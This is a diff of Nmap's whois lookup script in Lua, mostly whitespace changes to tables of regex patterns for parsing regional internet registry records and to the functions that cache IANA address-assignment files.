inetnum = "\r?\n%s*[Ii]net6?num:%s*(.-)\r?\n", + netname = "\r?\n%s*[Nn]et[-]-[Nn]ame:%s*(.-)\r?\n", + nettype = "\r?\n%s*[Nn]et[-]-[Tt]ype:%s*(.-)\r?\n", + descr = "[Dd]escr:[^\r?\n][%s]*(.-)\r?\n", + country = "\r?\n%s*[Cc]ountry:%s*(.-)\r?\n", + status = "\r?\n%s*[Ss]tatus:%s*(.-)\r?\n", source = "\r?\n%s*[Ss]ource:%s*(.-)\r?\n"}, ob_org = { ob_start = "\r?\n%s*[Oo]rgani[sz]ation:%s*.-\r?\n", - ob_end = "\r?\n%s*[Ss]ource:%s*.-\r?\n\r?\n", - organisation = "\r?\n%s*[Oo]rgani[sz]ation:%s*(.-)\r?\n", - orgname = "\r?\n%s*[Oo]rg[-]-[Nn]ame:%s*(.-)\r?\n", - descr = "[Dd]escr:[^\r?\n][%s]*(.-)\r?\n", + ob_end = "\r?\n%s*[Ss]ource:%s*.-\r?\n\r?\n", + organisation = "\r?\n%s*[Oo]rgani[sz]ation:%s*(.-)\r?\n", + orgname = "\r?\n%s*[Oo]rg[-]-[Nn]ame:%s*(.-)\r?\n", + descr = "[Dd]escr:[^\r?\n][%s]*(.-)\r?\n", email = "\r?\n%s*[Ee][-]-[Mm]ail:%s*(.-)\r?\n"}, ob_role = { ob_start = "\r?\n%s*[Rr]ole:%s*.-\r?\n", - ob_end = "\r?\n%s*[Ss]ource:%s*.-\r?\n\r?\n", - role = "\r?\n%s*[Rr]ole:%s*(.-)\r?\n", + ob_end = "\r?\n%s*[Ss]ource:%s*.-\r?\n\r?\n", + role = "\r?\n%s*[Rr]ole:%s*(.-)\r?\n", email = "\r?\n%s*[Ee][-]-[Mm]ail:%s*(.-)\r?\n"}, ob_persn = { ob_start = "\r?\n%s*[Pp]erson:%s*.-\r?\n", - ob_end = "\r?\n%s*[Ss]ource:%s*.-\r?\n\r?\n", - person = "\r?\n%s*[Pp]erson:%s*(.-)\r?\n", - email = "\r?\n%s*[Ee][-]-[Mm]ail:%s*(.-)\r?\n"} }, - arin = { - ob_exist = "\r?\n%s*[Nn]et[-]-[Rr]ange:.-\r?\n", - ob_netnum = {ob_start = "\r?\n%s*[Nn]et[-]-[Rr]ange:.-\r?\n", + ob_end = "\r?\n%s*[Ss]ource:%s*.-\r?\n\r?\n", + person = "\r?\n%s*[Pp]erson:%s*(.-)\r?\n", + email = "\r?\n%s*[Ee][-]-[Mm]ail:%s*(.-)\r?\n"} }, + arin = { + ob_exist = "\r?\n%s*[Nn]et[-]-[Rr]ange:.-\r?\n", + ob_netnum = {ob_start = "\r?\n%s*[Nn]et[-]-[Rr]ange:.-\r?\n", ob_end = "\r?\n\r?\n", netrange = "\r?\n%s*[Nn]et[-]-[Rr]ange:(.-)\r?\n", netname = "\r?\n%s*[Nn]et[-]-[Nn]ame:(.-)\r?\n", - nettype = "\r?\n%s*[Nn]et[-]-[Tt]ype:(.-)\r?\n"}, - ob_org = {ob_start = "\r?\n%s*[Oo]rg[-]-[Nn]ame:.-\r?\n", + nettype = "\r?\n%s*[Nn]et[-]-[Tt]ype:(.-)\r?\n"}, + ob_org = {ob_start = "\r?\n%s*[Oo]rg[-]-[Nn]ame:.-\r?\n", ob_end = "\r?\n\r?\n", orgname = "\r?\n%s*[Oo]rg[-]-[Nn]ame:(.-)\r?\n", orgid = "\r?\n%s*[Oo]rg[-]-[Ii][Dd]:(.-)\r?\n", stateprov = "\r?\n%s*[Ss]tate[-]-[Pp]rov:(.-)\r?\n", - country = "\r?\n%s*[Cc]ountry:(.-)\r?\n"}, - ob_cust = {ob_start = "\r?\n%s*[Cc]ust[-]-[Nn]ame:.-\r?\n", + country = "\r?\n%s*[Cc]ountry:(.-)\r?\n"}, + ob_cust = {ob_start = "\r?\n%s*[Cc]ust[-]-[Nn]ame:.-\r?\n", ob_end = "\r?\n\r?\n", custname = "\r?\n%s*[Cc]ust[-]-[Nn]ame:(.-)\r?\n", stateprov = "\r?\n%s*[Ss]tate[-]-[Pp]rov:(.-)\r?\n", - country = "\r?\n%s*[Cc]ountry:(.-)\r?\n"}, - ob_persn = {ob_start = "\r?\n%s*[Oo]rg[-]-[Tt]ech[-]-[Nn]ame:.-\r?\n", + country = "\r?\n%s*[Cc]ountry:(.-)\r?\n"}, + ob_persn = {ob_start = "\r?\n%s*[Oo]rg[-]-[Tt]ech[-]-[Nn]ame:.-\r?\n", ob_end = "\r?\n\r?\n", orgtechname = "\r?\n%s*[Oo]rg[-]-[Tt]ech[-]-[Nn]ame:(.-)\r?\n", orgtechemail = - "\r?\n%s*[Oo]rg[-]-[Tt]ech[-]-[Ee][-]-[Mm]ail:(.-)\r?\n"} }, - lacnic = { - ob_exist = "\r?\n%s*[Ii]net6?num:%s*.-\r?\n", - ob_netnum = {ob_start = "\r?\n%s*[Ii]net6?num:%s*.-\r?\n", - ob_end = "\r?\n\r?\n", - inetnum = "\r?\n%s*[Ii]net6?num:%s*(.-)\r?\n", - owner = "\r?\n%s*[Oo]wner:%s*(.-)\r?\n", - ownerid = "\r?\n%s*[Oo]wner[-]-[Ii][Dd]:%s*(.-)\r?\n", - responsible = "\r?\n%s*[Rr]esponsible:%s*(.-)\r?\n", - country = "\r?\n%s*[Cc]ountry:%s*(.-)\r?\n", - source = "\r?\n%s*[Ss]ource:%s*(.-)\r?\n"}, - ob_persn = {ob_start = "\r?\n%s*[Pp]erson:%s*.-\r?\n", - ob_end = "\r?\n\r?\n", - person = "\r?\n%s*[Pp]erson:%s*(.-)\r?\n", - email = "\r?\n%s*[Ee][-]-[Mm]ail:%s*(.-)\r?\n"} }, - jpnic = { - ob_exist = "\r?\n%s*[Nn]etwork%s-[Ii]nformation:%s*.-\r?\n", - ob_netnum = {ob_start = "[[Nn]etwork%s*[Nn]umber]%s*.-\r?\n", - ob_end = "\r?\n\r?\n", - inetnum = "[[Nn]etwork%s*[Nn]umber]%s*(.-)\r?\n", - netname = "[[Nn]etwork%s*[Nn]ame]%s*(.-)\r?\n", - orgname = "[[Oo]rganization]%s*(.-)\r?\n"} } - } - - --- - -- whoisdb defines the whois services this script is able to query and the script output produced for them. - -- Each entry is a key-value pair where the key is a short name for the service and value is a table of definitions for that service. - -- Note that there is defined here an entry for IANA which does not have a whois service. The entry is defined to allow us to redirect to ARIN when - -- IANA is referred to in a record. - -- - -- Each service defined should contain the following: - -- - -- id: String. Matches the key for the service and is a short name for the service. - -- hostname: String. Hostname of the service. - -- preflag: String. Prepended to the target IP address sent in the whois query. - -- postflag: String. Appended to the target IP address sent in the whois query. - -- longname: Table of strings. Each is a lowercase official (or semi-official) name of the service. - -- fieldreq: Linked table entry. The key identifying a table of a set of objects defined in fields_meta. - -- In its records each whois service displays a particular set of objects as defined here. - -- smallnet_rule: Linked table entry. The key of a pattern for the field defined in fields_meta which captures the Assignment Range. This is an - -- optional entry and is used to extract the smallest (i.e. Most Specific) range from a record when more than one range is detailed. - -- redirects: Table of tables, containing strings. Used to determine whether a record is referring to a different whois service by - -- searching for service specific information in certain fields of the record. - -- Each entry is a table thus: { "search_object", "search_field", "pattern" } - -- search_object: is the key name for a record object defined in fields_meta, in which to search. - -- search_field: is the key name for a field of the object, the data of which to search. - -- pattern: is typically the id or longname key names. - -- In the example: {"ob_org", "orgname", "longname"}, we cycle through each service defined in whoisdb and look for its longname in - -- the ob_org.orgname of the current record. - -- output_short: Table for each object to be displayed when Nmap verbosity is zero. The first element of each table is the object name and the - -- second element is a table of fields to display. The elements of the second may be field names, which are each output to a new - -- line, or tables containing field names which are output to the same line. - -- output_long: Table for each object to be displayed when Nmap verbosity is one or above. The structure is the same as output_short. - -- reg: String name for the field in ob_netnum which captures the Assignment Range (e.g. "netrange", "inetnum"), the data of which is - -- cached in the registry. - -- unordered: Boolean. Optional. True if the records from the service display an object other than ob_netnum as the first in the record (such - -- as at ARIN). This flag is used to decide whether we should extract an object immediately before the relevant ob_netnum object - -- from a record. - - nmap.registry.whois.whoisdb = { - arin = { - id = "arin", - hostname = "whois.arin.net", preflag = "+", postflag = "", - longname = {"american registry for internet numbers"}, - fieldreq = nmap.registry.whois.fields_meta.arin, - smallnet_rule = nmap.registry.whois.fields_meta.arin.ob_netnum.netrange, - redirects = { - {"ob_org", "orgname", "longname"}, - {"ob_org", "orgname", "id"}, - {"ob_org", "orgid", "id"} }, - output_short = { - {"ob_netnum", {"netrange", "netname"}}, - {"ob_org", {"orgname", "orgid", {"country", "stateprov"}}} }, - output_long = { - {"ob_netnum", {"netrange", "netname"}}, - {"ob_org", {"orgname", "orgid", {"country", "stateprov"}}}, - {"ob_cust", {"custname", {"country", "stateprov"}}}, - {"ob_persn", {"orgtechname", "orgtechemail"}} }, - reg = "netrange", - unordered = true - }, - ripe = { - id = "ripe", - hostname = "whois.ripe.net", preflag = "-B", postflag = "", - longname = {"ripe network coordination centre"}, - fieldreq = nmap.registry.whois.fields_meta.rpsl, - smallnet_rule = nmap.registry.whois.fields_meta.rpsl.ob_netnum.inetnum, - redirects = { - {"ob_role", "role", "longname"}, - {"ob_org", "orgname", "id"}, - {"ob_org", "orgname", "longname"} }, - output_short = { - {"ob_netnum", {"inetnum", "netname", "descr", "country"}}, - {"ob_org", {"orgname", "organisation", "descr", "email"}} }, - output_long = { - {"ob_netnum", {"inetnum", "netname", "descr", "country"}}, - {"ob_org", {"orgname", "organisation", "descr", "email"}}, - {"ob_role", {"role", "email"}}, - {"ob_persn", {"person", "email"}} }, - reg = "inetnum" - }, - apnic = { - id = "apnic", - hostname = "whois.apnic.net", preflag = "", postflag = "", - longname = {"asia pacific network information centre"}, - fieldreq = nmap.registry.whois.fields_meta.rpsl, - smallnet_rule = nmap.registry.whois.fields_meta.rpsl.ob_netnum.inetnum, - redirects = { - {"ob_netnum", "netname", "id"}, - {"ob_org", "orgname", "longname"}, - {"ob_role", "role", "longname"}, - {"ob_netnum", "source", "id"} }, - output_short = { - {"ob_netnum", {"inetnum", "netname", "descr", "country"}}, - {"ob_org", {"orgname", "organisation", "descr", "email"}} }, - output_long = { - {"ob_netnum", {"inetnum", "netname", "descr", "country"}}, - {"ob_org", {"orgname", "organisation", "descr", "email"}}, - {"ob_role", {"role", "email"}}, - {"ob_persn", {"person", "email"}} }, - reg = "inetnum" - }, - lacnic = { - id = "lacnic", - hostname = "whois.lacnic.net", preflag = "", postflag = "", - longname = - {"latin american and caribbean ip address regional registry"}, - fieldreq = nmap.registry.whois.fields_meta.lacnic, - smallnet_rule = nmap.registry.whois.fields_meta.lacnic.ob_netnum.inetnum, - redirects = { - {"ob_netnum", "ownerid", "id"}, - {"ob_netnum", "source", "id"} }, - output_short = { - {"ob_netnum", - {"inetnum", "owner", "ownerid", "responsible", "country"}} }, - output_long = { - {"ob_netnum", - {"inetnum", "owner", "ownerid", "responsible", "country"}}, - {"ob_persn", {"person", "email"}} }, - reg = "inetnum" - }, - afrinic = { - id = "afrinic", - hostname = "whois.afrinic.net", preflag = "-c", postflag = "", - longname = {"african internet numbers registry", - "african network information center"}, - fieldreq = nmap.registry.whois.fields_meta.rpsl, - smallnet_rule = nmap.registry.whois.fields_meta.rpsl.ob_netnum.inetnum, - redirects = { - {"ob_org", "orgname", "longname"} }, - output_short = { - {"ob_netnum", {"inetnum", "netname", "descr", "country"}}, - {"ob_org", {"orgname", "organisation", "descr", "email"}} }, - output_long = { - {"ob_netnum", {"inetnum", "netname", "descr", "country"}}, - {"ob_org", {"orgname", "organisation", "descr", "email"}}, - {"ob_role", {"role", "email"}}, - {"ob_persn", {"person", "email"}} }, - reg = "inetnum" - },--[[ - jpnic = { - id = "jpnic", - hostname = "whois.nic.ad.jp", preflag = "", postflag = "/e", - longname = {"japan network information center"}, - fieldreq = nmap.registry.whois.fields_meta.jpnic, - output_short = { - {"ob_netnum", {"inetnum", "netname", "orgname"}} }, - reg = "inetnum" },--]] - iana = { -- not actually a db but required here - id = "iana", longname = {"internet assigned numbers authority"} - } - } - - nmap.registry.whois.m_none = { - "\n%s*([Nn]o match found for[%s+]*$addr)", - "\n%s*([Uu]nallocated resource:%s*$addr)", - "\n%s*([Rr]eserved:%s*$addr)", - "\n[^\n]*([Nn]ot%s[Aa]ssigned[^\n]*$addr)", - "\n%s*(No match!!)%s*\n", - "(Invalid IP or CIDR block:%s*$addr)" - } - nmap.registry.whois.m_err = { - "\n%s*([Aa]n [Ee]rror [Oo]ccured)%s*\n", - "\n[^\n]*([Ee][Rr][Rr][Oo][Rr][^\n]*)\n" - } - - nmap.registry.whois.remote_assignments_files = {} - nmap.registry.whois.remote_assignments_files.ipv4 = { - { - remote_resource = "http://www.iana.org/assignments/ipv4-address-space/ipv4-address-space.txt", - local_resource = "ipv4-address-space", - match_assignment = "^%s*([%.%d]+/%d+)", - match_service = "whois%.(%w+)%.net" - } - } - nmap.registry.whois.remote_assignments_files.ipv6 = { - --[[{ - remote_resource = "http://www.iana.org/assignments/ipv6-address-space/ipv6-address-space.txt", - local_resource = "ipv6-address-space", - match_assignment = "^([:%x]+/%d+)", - match_service = "^[:%x]+/%d+%s*(%w+)" - },--]] - { - remote_resource = "http://www.iana.org/assignments/ipv6-unicast-address-assignments/ipv6-unicast-address-assignments.txt", - local_resource = "ipv6-unicast-address-assignments", - match_assignment = "^%s*([:%x]+/%d+)", - match_service = "whois%.(%w+)%.net" - } - } - - local err - - -- get and validate any --script-args - get_args() - - -- mutex for each service - nmap.registry.whois.mutex = {} - for id, v in pairs( nmap.registry.whois.whoisdb ) do - if id ~= "iana" then - nmap.registry.whois.mutex[id] = nmap.mutex(nmap.registry.whois.whoisdb[id]) - end - end - - -- get IANA assignments lists - if nmap.registry.whois.using_local_assignments_file then - nmap.registry.whois.local_assignments_data, err = get_local_assignments_data() - if err then nmap.registry.whois.using_local_assignments_file = false end - end - - nmap.registry.whois.init_done = true - - end - - - - --- - -- Parses the command line arguments passed to the script with --script-args. - -- Sets flags in the registry which threads read to determine certain behaviours. - -- Permitted args are 'nofile' - Prevents use of a list of assignments to determine which service to query, - -- 'nofollow' - Prevents following redirects found in records, - -- 'arin', 'ripe', 'apnic', etc. - Service id's, as defined in the whoisdb table in the registry (see script_init). - - function get_args() - - if not nmap.registry.args then return end - - local args = stdnse.get_script_args('whois.whodb') - - if type( args ) ~= "string" or ( args == "" ) then return end - - local t = {} - -- match words in args which may be whois dbs or other arguments - for db in string.gmatch( args, "%w+" ) do - if not nmap.registry.whois.whoisdb[db] then - if ( db == "nofollow" ) then - nmap.registry.whois.nofollow = true - elseif ( db == "nocache" ) then - nmap.registry.whois.using_cache = false - elseif ( db == "nofile" ) then - nmap.registry.whois.using_local_assignments_file = false - stdnse.print_debug( 2, "%s: Not using local assignments data.", SCRIPT_NAME ) - end - elseif not ( string.match( table.concat( t, " " ), db ) ) then - -- we have a unique valid whois db - t[#t+1] = db - end - end - - if ( #t > 0 ) and nmap.registry.whois.using_local_assignments_file then - -- "nofile" was not explicitly supplied, but it is implied by supplying custom whoisdb_default_order - nmap.registry.whois.using_local_assignments_file = false - stdnse.print_debug(3, "%s: Not using local assignments data because custom whoisdb_default_order was supplied.", SCRIPT_NAME) - end - - if ( #t > 1 ) and nmap.registry.whois.nofollow then - -- using nofollow, we do not follow redirects and can only accept what we find as a record therefore we only accept the first db supplied - t = {t[1]} - stdnse.print_debug( 1, "%s: Too many args supplied with 'nofollow', only using %s.", SCRIPT_NAME, t[1] ) - end - - if ( #t > 0 ) then - nmap.registry.whois.whoisdb_default_order = t - stdnse.print_debug( 2, "%s: whoisdb_default_order: %s.", SCRIPT_NAME, table.concat( t, " " ) ) - end - - end - - - - --- - -- Makes IANA hosted assignments data available for lookups against that data. In more detail it: - -- Caches a local copy of remote assignments data if copies do not currently exist or are out-of-date. - -- Checks whether the cached copies require updating and performs update as required. - -- Parses the cached copies and populates a table of lookup data which is returned to the caller. - -- Sets a flag in the registry to prevent use of the lookup data in the event of an error. - -- @return Table of lookup data (or nil in case of an error). - -- @return Nil or error message in case of an error. - -- @see get_parentpath, file_exists, requires_updating, read_from_file, conditional_download, - -- write_to_file, parse_assignments - - function get_local_assignments_data() - - if not next( nmap.registry.whois.remote_assignments_files ) then - nmap.registry.whois.using_local_assignments_file = false - return nil, "Error in get_local_assignments_data: Remote resources not defined in remote_assignments_files registry key" - end - - -- get the directory path where cached files will be stored. - local fetchfile = "nmap-services" - local directory_path, err = get_parentpath( fetchfile ) - if err then - stdnse.print_debug( 1, "%s: Nmap.fetchfile() failed to get a path to %s: %s.", SCRIPT_NAME, fetchfile, err ) - return nil, err - end - - local ret = {} - - -- cache or update and parse each remote file for each address family - for address_family, t in pairs( nmap.registry.whois.remote_assignments_files ) do - for i, assignment_data_spec in ipairs( t ) do - - local update_required, modified_date, entity_tag, err - - -- do we have a cached file and does it need updating? - local file, exists = directory_path .. assignment_data_spec.local_resource - exists, err = file_exists( file ) - if not exists and err then - stdnse.print_debug( 1, "%s: Error accessing %s: %s.", SCRIPT_NAME, file, err ) - elseif not exists then - update_required = true - stdnse.print_debug( 2, "%s: %s does not exist or is empty. Fetching it now...", SCRIPT_NAME, file ) - elseif exists then - update_required, modified_date, entity_tag = requires_updating( file ) - end - - local file_content - - -- read an existing and up-to-date file into file_content. - if exists and not update_required then - stdnse.print_debug( 2, "%s: %s was cached less than %s ago. Reading...", SCRIPT_NAME, file, nmap.registry.whois.local_assignments_file_expiry ) - file_content = read_from_file( file ) - end - - -- cache or update and then read into file_content - local http_response, write_success - if update_required then - http_response = ( conditional_download( assignment_data_spec.remote_resource, modified_date, entity_tag ) ) - if not http_response or type( http_response.status ) ~= "number" then - stdnse.print_debug( 1, "%s: Failed whilst requesting %s.", SCRIPT_NAME, assignment_data_spec.remote_resource ) - elseif http_response.status == 200 then - -- prepend our file header - stdnse.print_debug( 2, "%s: Retrieved %s.", SCRIPT_NAME, assignment_data_spec.remote_resource ) - file_content = stdnse.strsplit( "\r?\n", http_response.body ) - table.insert( file_content, 1, "** Do Not Alter This Line or The Following Line **" ) - local hline = {} - hline[#hline+1] = "<" .. os.time() .. ">" - hline[#hline+1] = "<" .. http_response.header["last-modified"] .. ">" - if http_response.header.etag then - hline[#hline+1] = "<" .. http_response.header.etag .. ">" - end - table.insert( file_content, 2, table.concat( hline ) ) - write_success, err = write_to_file( file, file_content ) - if err then - stdnse.print_debug( 1, "%s: Error writing %s to %s: %s.", SCRIPT_NAME, assignment_data_spec.remote_resource, file, err ) - end - elseif http_response.status == 304 then - -- update our file header with a new timestamp - stdnse.print_debug( 1, "%s: %s is up-to-date.", SCRIPT_NAME, file ) - file_content = read_from_file( file ) - file_content[2] = file_content[2]:gsub("^<[-+]?%d+>(.*)$", "<" .. os.time() .. ">%1") - write_success, err = write_to_file( file, file_content ) - if err then - stdnse.print_debug( 1, "%s: Error writing to %s: %s.", SCRIPT_NAME, file, err ) - end - else - stdnse.print_debug( 1, "%s: HTTP %s whilst requesting %s.", SCRIPT_NAME, http_response.status, assignment_data_spec.remote_resource ) - end - end - - - if file_content then - -- Create a table for this address family (if there isn't one already). - if not ret[address_family] then ret[address_family] = {} end - -- Parse data and add to the table for this address family. - local t - t, err = parse_assignments( assignment_data_spec, file_content ) - if #t == 0 or err then - -- good header, but bad file? Kill the file! - write_to_file( file, "" ) - stdnse.print_debug( 1, "%s: Problem with the data in %s.", SCRIPT_NAME, file ) - else - for i, v in pairs( t ) do - ret[address_family][#ret[address_family]+1] = v - end - end - end - - end -- file - end -- af - - -- If we decide to use more than one assignments file for ipv6 we may need to sort the resultant parsed list so that sub-assignments appear - -- before their parent. This is expensive, but it's worth doing to ensure the lookup process returns the correct service. - -- table.sort( ret.ipv6, sort_assignments ) - - -- final check for an empty table which we'll convert to nil - for af, t in pairs( ret ) do - if #t == 0 then - ret[af] = nil - stdnse.print_debug( 1, "%s: Cannot use local assignments file for address family %s.", SCRIPT_NAME, af ) - end - end - - return ret - - end - - - - --- - -- Uses nmap.fetchfile to get the path of the parent directory of the supplied Nmap datafile SCRIPT_NAME. - -- @param fname String - Filename of an Nmap datafile. - -- @return String - The filepath of the directory containing the supplied SCRIPT_NAME including the trailing slash (or nil in case of an error). - -- @return Nil or error message in case of an error. - - function get_parentpath( fname ) - - if type( fname ) ~= "string" or fname == "" then - return nil, "Error in get_parentpath: Expected fname as a string." - end - - local path = nmap.fetchfile( fname ) - if not path then - return nil, "Error in get_parentpath: Call to fetchfile() failed." - end - - path = path:sub( 1, path:len() - fname:len() ) - return path - - end - - - - --- - -- Given a filepath, checks for the existence of that file. - -- @param file Path to a file. - -- @return Boolean True if file exists and can be read or false if file does not exist or is empty or cannot be otherwise read. - -- @return Nil or error message. No error message if the file is empty or does not exist, only if the file cannot be read for some other reason. - - function file_exists( file ) - - local f, err, _ = io.open( file, "r" ) - if ( f and f:read() ) then - f:close() - return true, nil - elseif f then - f:close() - return false, nil - elseif not f and err:match("No such file or directory") then - return false, nil - elseif err then - return false, err - else - return false, ( "unforseen error while checking " .. file ) - end - - end - - - - --- - -- Checks whether a cached file requires updating via HTTP. - -- The cached file should contain the following string on the second line: "". - -- where timestamp is number of seconds since epoch at the time the file was last cached and - -- Last-Modified-Date is an HTTP compliant date sting returned by an HTTP server at the time the file was last cached and - -- Entity-Tag is an HTTP Etag returned by an HTTP server at the time the file was last cached. - -- @param file Filepath of the cached file. - -- @return Boolean False if file does not require updating, true otherwise. - -- @return nil or a valid modified-date (string). - -- @return nil or a valid entity_tag (string). - -- @see file_is_expired - - function requires_updating( file ) - - local last_cached, mod, etag, has_expired - - local f, err, _ = io.open( file, "r" ) - if not f then return true, nil end - - local _ = f:read("*line") - local stamp = f:read("*line") - f:close() - if not stamp then return true, nil end - - last_cached, mod, etag = stamp:match( "^<([^>]*)><([^>]*)>]*)>?$" ) - if (etag == "") then etag = nil end - if not ( last_cached or mod or etag ) then return true, nil end - if not ( - mod:match( "%a%a%a,%s%d%d%s%a%a%a%s%d%d%d%d%s%d%d:%d%d:%d%d%s%u%u%u" ) - or - mod:match( "%a*day,%d%d-%a%a%a-%d%d%s%d%d:%d%d:%d%d%s%u%u%u" ) - or - mod:match( "%a%a%a%s%a%a%a%s%d?%d%s%d%d:%d%d:%d%d%s%d%d%d%d" ) - ) then - mod = nil - end - if not etag and not mod then - return true, nil - end + "\r?\n%s*[Oo]rg[-]-[Tt]ech[-]-[Ee][-]-[Mm]ail:(.-)\r?\n"} }, + lacnic = { + ob_exist = "\r?\n%s*[Ii]net6?num:%s*.-\r?\n", + ob_netnum = {ob_start = "\r?\n%s*[Ii]net6?num:%s*.-\r?\n", + ob_end = "\r?\n\r?\n", + inetnum = "\r?\n%s*[Ii]net6?num:%s*(.-)\r?\n", + owner = "\r?\n%s*[Oo]wner:%s*(.-)\r?\n", + ownerid = "\r?\n%s*[Oo]wner[-]-[Ii][Dd]:%s*(.-)\r?\n", + responsible = "\r?\n%s*[Rr]esponsible:%s*(.-)\r?\n", + country = "\r?\n%s*[Cc]ountry:%s*(.-)\r?\n", + source = "\r?\n%s*[Ss]ource:%s*(.-)\r?\n"}, + ob_persn = {ob_start = "\r?\n%s*[Pp]erson:%s*.-\r?\n", + ob_end = "\r?\n\r?\n", + person = "\r?\n%s*[Pp]erson:%s*(.-)\r?\n", + email = "\r?\n%s*[Ee][-]-[Mm]ail:%s*(.-)\r?\n"} }, + jpnic = { + ob_exist = "\r?\n%s*[Nn]etwork%s-[Ii]nformation:%s*.-\r?\n", + ob_netnum = {ob_start = "[[Nn]etwork%s*[Nn]umber]%s*.-\r?\n", + ob_end = "\r?\n\r?\n", + inetnum = "[[Nn]etwork%s*[Nn]umber]%s*(.-)\r?\n", + netname = "[[Nn]etwork%s*[Nn]ame]%s*(.-)\r?\n", + orgname = "[[Oo]rganization]%s*(.-)\r?\n"} } + } + + --- + -- whoisdb defines the whois services this script is able to query and the script output produced for them. + -- Each entry is a key-value pair where the key is a short name for the service and value is a table of definitions for that service. + -- Note that there is defined here an entry for IANA which does not have a whois service. The entry is defined to allow us to redirect to ARIN when + -- IANA is referred to in a record. + -- + -- Each service defined should contain the following: + -- + -- id: String. Matches the key for the service and is a short name for the service. + -- hostname: String. Hostname of the service. + -- preflag: String. Prepended to the target IP address sent in the whois query. + -- postflag: String. Appended to the target IP address sent in the whois query. + -- longname: Table of strings. Each is a lowercase official (or semi-official) name of the service. + -- fieldreq: Linked table entry. The key identifying a table of a set of objects defined in fields_meta. + -- In its records each whois service displays a particular set of objects as defined here. + -- smallnet_rule: Linked table entry. The key of a pattern for the field defined in fields_meta which captures the Assignment Range. This is an + -- optional entry and is used to extract the smallest (i.e. Most Specific) range from a record when more than one range is detailed. + -- redirects: Table of tables, containing strings. Used to determine whether a record is referring to a different whois service by + -- searching for service specific information in certain fields of the record. + -- Each entry is a table thus: { "search_object", "search_field", "pattern" } + -- search_object: is the key name for a record object defined in fields_meta, in which to search. + -- search_field: is the key name for a field of the object, the data of which to search. + -- pattern: is typically the id or longname key names. + -- In the example: {"ob_org", "orgname", "longname"}, we cycle through each service defined in whoisdb and look for its longname in + -- the ob_org.orgname of the current record. + -- output_short: Table for each object to be displayed when Nmap verbosity is zero. The first element of each table is the object name and the + -- second element is a table of fields to display. The elements of the second may be field names, which are each output to a new + -- line, or tables containing field names which are output to the same line. + -- output_long: Table for each object to be displayed when Nmap verbosity is one or above. The structure is the same as output_short. + -- reg: String name for the field in ob_netnum which captures the Assignment Range (e.g. "netrange", "inetnum"), the data of which is + -- cached in the registry. + -- unordered: Boolean. Optional. True if the records from the service display an object other than ob_netnum as the first in the record (such + -- as at ARIN). This flag is used to decide whether we should extract an object immediately before the relevant ob_netnum object + -- from a record. + + nmap.registry.whois.whoisdb = { + arin = { + id = "arin", + hostname = "whois.arin.net", preflag = "+", postflag = "", + longname = {"american registry for internet numbers"}, + fieldreq = nmap.registry.whois.fields_meta.arin, + smallnet_rule = nmap.registry.whois.fields_meta.arin.ob_netnum.netrange, + redirects = { + {"ob_org", "orgname", "longname"}, + {"ob_org", "orgname", "id"}, + {"ob_org", "orgid", "id"} }, + output_short = { + {"ob_netnum", {"netrange", "netname"}}, + {"ob_org", {"orgname", "orgid", {"country", "stateprov"}}} }, + output_long = { + {"ob_netnum", {"netrange", "netname"}}, + {"ob_org", {"orgname", "orgid", {"country", "stateprov"}}}, + {"ob_cust", {"custname", {"country", "stateprov"}}}, + {"ob_persn", {"orgtechname", "orgtechemail"}} }, + reg = "netrange", + unordered = true + }, + ripe = { + id = "ripe", + hostname = "whois.ripe.net", preflag = "-B", postflag = "", + longname = {"ripe network coordination centre"}, + fieldreq = nmap.registry.whois.fields_meta.rpsl, + smallnet_rule = nmap.registry.whois.fields_meta.rpsl.ob_netnum.inetnum, + redirects = { + {"ob_role", "role", "longname"}, + {"ob_org", "orgname", "id"}, + {"ob_org", "orgname", "longname"} }, + output_short = { + {"ob_netnum", {"inetnum", "netname", "descr", "country"}}, + {"ob_org", {"orgname", "organisation", "descr", "email"}} }, + output_long = { + {"ob_netnum", {"inetnum", "netname", "descr", "country"}}, + {"ob_org", {"orgname", "organisation", "descr", "email"}}, + {"ob_role", {"role", "email"}}, + {"ob_persn", {"person", "email"}} }, + reg = "inetnum" + }, + apnic = { + id = "apnic", + hostname = "whois.apnic.net", preflag = "", postflag = "", + longname = {"asia pacific network information centre"}, + fieldreq = nmap.registry.whois.fields_meta.rpsl, + smallnet_rule = nmap.registry.whois.fields_meta.rpsl.ob_netnum.inetnum, + redirects = { + {"ob_netnum", "netname", "id"}, + {"ob_org", "orgname", "longname"}, + {"ob_role", "role", "longname"}, + {"ob_netnum", "source", "id"} }, + output_short = { + {"ob_netnum", {"inetnum", "netname", "descr", "country"}}, + {"ob_org", {"orgname", "organisation", "descr", "email"}} }, + output_long = { + {"ob_netnum", {"inetnum", "netname", "descr", "country"}}, + {"ob_org", {"orgname", "organisation", "descr", "email"}}, + {"ob_role", {"role", "email"}}, + {"ob_persn", {"person", "email"}} }, + reg = "inetnum" + }, + lacnic = { + id = "lacnic", + hostname = "whois.lacnic.net", preflag = "", postflag = "", + longname = + {"latin american and caribbean ip address regional registry"}, + fieldreq = nmap.registry.whois.fields_meta.lacnic, + smallnet_rule = nmap.registry.whois.fields_meta.lacnic.ob_netnum.inetnum, + redirects = { + {"ob_netnum", "ownerid", "id"}, + {"ob_netnum", "source", "id"} }, + output_short = { + {"ob_netnum", + {"inetnum", "owner", "ownerid", "responsible", "country"}} }, + output_long = { + {"ob_netnum", + {"inetnum", "owner", "ownerid", "responsible", "country"}}, + {"ob_persn", {"person", "email"}} }, + reg = "inetnum" + }, + afrinic = { + id = "afrinic", + hostname = "whois.afrinic.net", preflag = "-c", postflag = "", + longname = {"african internet numbers registry", + "african network information center"}, + fieldreq = nmap.registry.whois.fields_meta.rpsl, + smallnet_rule = nmap.registry.whois.fields_meta.rpsl.ob_netnum.inetnum, + redirects = { + {"ob_org", "orgname", "longname"} }, + output_short = { + {"ob_netnum", {"inetnum", "netname", "descr", "country"}}, + {"ob_org", {"orgname", "organisation", "descr", "email"}} }, + output_long = { + {"ob_netnum", {"inetnum", "netname", "descr", "country"}}, + {"ob_org", {"orgname", "organisation", "descr", "email"}}, + {"ob_role", {"role", "email"}}, + {"ob_persn", {"person", "email"}} }, + reg = "inetnum" + },--[[ + jpnic = { + id = "jpnic", + hostname = "whois.nic.ad.jp", preflag = "", postflag = "/e", + longname = {"japan network information center"}, + fieldreq = nmap.registry.whois.fields_meta.jpnic, + output_short = { + {"ob_netnum", {"inetnum", "netname", "orgname"}} }, + reg = "inetnum" },--]] + iana = { -- not actually a db but required here + id = "iana", longname = {"internet assigned numbers authority"} + } + } + + nmap.registry.whois.m_none = { + "\n%s*([Nn]o match found for[%s+]*$addr)", + 